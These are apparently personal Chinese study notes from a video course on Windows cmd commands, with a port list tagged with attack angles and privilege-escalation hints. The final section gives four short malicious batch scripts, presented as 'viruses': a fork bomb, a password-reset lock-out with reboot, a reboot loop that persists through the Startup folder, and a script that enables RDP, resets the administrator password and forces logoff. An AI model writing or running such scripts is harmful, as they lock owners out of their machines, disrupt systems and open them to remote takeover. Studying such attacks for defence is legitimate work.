声明!
学习视频来自B站up主 泷羽sec 有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负
微软windows操作系统,俗称windows
文件系统
linux:fhs目录结构,块设备挂载到目录(一切都是文件)
win:以驱动器盘符起始,或通过目录挂载分区
路径格式
linux: /开始,区分大小写(左斜线)
win:\分隔路径,不区分大小写(右斜线)
系统配置
linux:etc/和/proc(存储在信息目录)
win:注册表(存储信息在注册表里)
windows四种shell接口
1、GUI图形化用户接口,操作简单
2、cmd命令行用户接口,包含一组预定义命令
3、wmic微软基于wbem的实现,从21h1版本已经弃用,被powershell替代了
4、powershell自动化脚本框架,支持.net架构
wsl在win上运行的子系统
cmd内置命令
cd\(切换到根目录)
help(查看cmd内置命令)
背诵默写
windows常用命令
cd 显示当前目录的名称或将其更改
cmd 打开另一个wendows命令解释程序窗口
copy 将至少一个文件复制到另一个位置
del 删除至少一个文件
dir 显示一个目录中的文件和子目录
echo 显示消息,或者将命令回显打开或者关闭
erase 删除一个文件或者多个文件
find 在一个或者多个文件中搜索一个文本字符串
findstr 在多个文件中搜索字符串
mkdir 创建一个目录
more 逐屏显示输出
move 将一个或者多个文件从一个目录移动到另一个目录
ren 重命名文件名
rmdir 删除目录
type 显示文本内容
attrib 显示或修改文件扩展名关联
bcdedit 设置启动数据库中的属性以控制启动加载
icacls 显示或者修改文件的访问控制列表(acl)
chcp 显示或者设置活动代码页数
comp 比较两个或者两套文件的内容
date 显示或者设置日期
diskpart 显示或配置磁盘分区属性
doskey 编辑命令行,撤回Windows命令
driverquery 显示当前设备驱动程序状态和属性
fc 比较两个文件集并显示他们之间的不同
for 为一组文件中的每一个文件运行一个指定命令
fsutil 显示或者配置文件系统属性
gpresult 显示计算机或者用户的组策略信息
mklink 创建符号链接和硬链接
openfiles 显示远程用户通过文件共享打开的本地文件
path 为可执行文件显示或者设置搜索路径
set 显示 设置 或删除windows环境变量
schtasks 安排一台计算机上运行命令和程序
shutdown 允许通过本地或远程方式正确关闭计算机
start 启动单独的窗口以运行指定的程序或者命令
systeminfo 显示计算机的特定属性和配置
tasklist 显示包括服务在内的所有当前运行任务
taskkill 终止正在运行的进程或应用程序
tree 树状图
time 显示或者设置系统时间
tracert 网络路径追踪
文件导航系统
返回驱动根目录
C:\windows\web>cd
C:windows>cd…
大小写不敏感
C:>type"spaces in title.txt"
查看文件隐藏系统
C:\users\dir/A
搜索文件名
C:>dir/s flag.txt
最近编辑的文件
C:>dir/tw/od
系统标准目录
perflogs存储windows性能日志
program files 32位系统,存储32位程序,64位 存储64位程序
program files 64位系统,存储32位版本程序
programdata隐藏目录,包含全局程序数据,所有登录用户都可以访问这些数据
users包含用户主目录(登录过的用户)
users\public用户间共享文件,所有用户都有权访问
users[username]\appdata隐藏子目录,存储用户应用数据和设置
windows\system,system32,system64
存储动态链接库文件,windows和api核心文件
xp,windows server 2003
C:\documents and settings 早期一些xp系统的windows主目录
系统以及环境
系统信息查询可视化
systeminfo
msinfo32
环境变量
C:>echo %username%
C:>echo %path%
C:>echo %username%
C:>echo %temp%
C:>echo %userprofile%
C:>set 当前命令行下的环境变量列出
查看名称以P开头的变量
set p
永久修改环境变量
setx var1 brand1
setx /s host1 /u domain\user /p pass var1 brand1
setx /s hopst1 /u domain\user /p pass mypath %path%
变量位于
hkey_current_user\environment
常见的端口对应服务
ftp - 21
telnet - 23
web - 80-89
ssl - 443
smb - 445
mssql - 1433
Oracle - 1521
cpanel - 2082/2083
虚拟机管理系统 2222
squid - 3128(内网漫游)
mysql - 3306
3312/3311 kangle
3389 - rdp
5432 - pgsql
5900 - vnc
6379 - redis(未授权)
7001/7002 - weblogic 默认弱口令,反序列化
7778 - kloxo
8000-9090 常见的web端口
8080 tomcat、wdcp、默认弱口令
8080/8089/9090 jboss
8083 - vestacp主机管理系统
8649 - ganglia
8888 - 宝塔
10000 - virtuamin/webmin
11211 - memcache未授权
27017/27018 - mongodb未授权
28017 - mongodb统计系统页面
常见的cmd命令
1.echo
echo /?(查看echo的帮助提示)
echo 1(输出1)
echo 1>1.txt (输出1并且重定向到1.txt)
echo 456789 >>1.txt (把内容追加到1.txt)
如果再用就会把文件覆盖掉
2.dir(展示当前目录的文件)
3.d: c:等和cd
d:(切换到d盘)
cd.(进入当前目录)
cd…(回退到上一级目录)
cd /文件夹
cd desktop(切换到桌面)
4.tree(文件树状图、在内网比较常用)
tree /?(查看帮助文档)
/f(显示每个文件夹中的名称)
/a(使用ascii字符,而不使用扩展字符)
tree C:\users\administrator /f
tree C:\users\administrator /a
(在渗透测试中比较常用)
5.md创建目录和rd删除目录
md是mkdir的缩写(作用一样)
md kkk (在当前目录创建名为kkk的文件夹)
rd kkk(删除kkk文件夹)
tab补全功能
6.ipconfig
查看网络本机ip地址
ipconfig /all(把所有的网络信息打印出来)
7.cls(清屏)
8.copy(复制拼接文件)
copy /?(查看帮助文档)
copy 1.txt …\1.txt(把文件1.txt复制到上一级目录)
先利用cd…回退到上一级目录再利用dir命令查看
copy 1.txt desktop\2.txt
(把admin文件夹中的1.txt复制到桌面并重命名2.txt)
和echo配合使用
echo 123>1.txt
再echo 456>2.txt
copy 1.txt+2.txt>3.txt
9.move(文件移动)
move …\1.txt 4.txt(把上一级目录中的1.txt移动到本级目录,并且重命名4.txt)
10.ren(重命名)
ren 4.txt 5.txt(把4.txt改名为5.txt)
11.del(删除)
del 1.txt 2.txt 3.txt(永久删除不会进入回收站)
12.ping(一般用于探测主机ip是否存活)
ping /?(查看帮助文档)
-t(一直ping)
13.type(显示文本文件的内容)
echo sdafasdfasdfa>>1.txt
type 1.txt(查看文件内容)
14.reg(注册表)
reg /?(查看帮助文档)
15.nslookup(探测域名信息)
nslookup www.baidu.com
nslookup -d www.baidu.com(查看历史解析记录)
16.find(查找)
find /?(帮助文档)
先在1.txt中输入各种字符串,find “a” 1.txt(在1.txt中查找带a的字段)
find /n “a” 1.txt(查找a参数的字段并排序行号)
type跟find结合使用 使用type 1.txt | find “a”(查看带有a参数的字段)
type 1.txt | find “a” /n(查看1.txt的内容并输出a参数的字段并排序)
17.tasklist(任务列表 显示进程的名称信息)
18.taskkill(杀死进程)
taskkill /?(帮助文档)
-pid -f -t
taskkill /pid 2824 杀死进程
遇到杀不掉的进程加一个/f参数即可
19.ver、winver(显示版本)
20.start(启动 开始命令)
start cmd(打开cmd)
start calc(打开计算器)
start ping www.baidu.com -t
21.systeminfo(查看整个系统信息)
查看一些比较重要的信息 补丁信息,后期提权就是针对一些不同的修补进程,用于内网渗透
22.logoff(注销)
先logoff /?(帮助文档)
logoff(注销 提权情况下进行3389 的连接桌面的话,有可能机器是连接状态,我们要利用这个命令把对方的远程登录注销)
23.shutdown(关机)/s /f /t /a /r /g /l
shutdown /?(帮助文档)
参数很多
shutdown /s(在一分钟内关机)
shutdown /a(计划取消)
shutdown /r(重启)
shutdown /g (在一分钟内关机)
shutdown /r /t 0 (/t设置时间 设置0立即执行)
24.telnet(协议工具)
控制面板->程序->打开或关闭windows功能->telnet客户端
telnet(之前在shodan中 思科的设备就是基于这个)
25.arp(自己ip和物理机的影射关系表)
arp /?(帮助文档)
arp /a(拿到内网机器后通过这个命令可以有助于横向移动,用于发现同一网络有哪些主机)
26.at(定时任务)
定时关机 at 时间 “shutdown /s /r /t 0”
at “shutdown /r /t 0”
取消命令 at 1 /delete
27.net(服务)
net stop telnet(关闭telnet)
net start telnet(打开telnet)
net user(看当前用户)
net user admin 123 /add (添加用户名admin 密码为123的用户)
net user admin (查看admin用户名权限)
net user administrator(查看管理员用户权限)
怎么把admin变成管理员权限
net localgroup administrator admin /add(提权)
net user admin (查看admin用户权限)
net user admin /delete(删除用户)
根据以上命令写一个病毒程序
一、资源耗尽病毒
bat脚本
echo start cmd > 1.txt
echo %0 >> 1.txt
ren 1.txt 1.bat
详细分析:
利用echo将启动cmd窗口命令写入到1.txt文件中,接着%0表示用于无限循环执行当前批处理文件,然后将1.txt文件改成1.bat脚本文件,执行后就会无限循环执行启动cmd窗口
二、锁机病毒
echo net user administrator 123456 > c:\windows\Temp\1.bat
echo shutdown /r /t 0 >> c:\windows\Temp\1.bat
详细分析:
echo输出文件,先利用net将administrator用户的密码改成123456,并且将这一句保存到1.bat文件中,接着在1.bat文件中写入立刻重启计算机命令,重启完成之后,就会显示要密码登录,这里也可以用注销命令,如果攻击者使用复杂密码,那么就锁机了
三、无限重启病毒
echo shutdown /r /t 0 > C:\windows\Temp\1.bat
copy C:\windows\Temp\1.bat “%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start\Menu\Programs\Startup”
详细分析:
利用echo将立刻重启命令写入到windows\temp目录下的1.bat文件中,其中"%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start\Menu\Programs\Startup"的意思是将文件1.bat拷贝到开机自启动文件夹,所有重启电脑后,就又会重新打开1.bat就实现了无限重启的效果
Windows系统目录接管与渗透的关系
“%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start\Menu\Programs\Startup”
C:\windows\Temp\1.bat(重启自动清空缓存)
四、远程连接病毒
echo reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > 1.bat
echo net user administrator admin >> 1.bat
echo logoff /v >> 1.bat
分析:先利用reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal” "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 在注册表中添加并打开3389端口,11111111代表关闭,接着有了3389后,就可以将用户挤掉,利用net user administrator admin改掉管理员密码为admin,然后让用户强制注销下线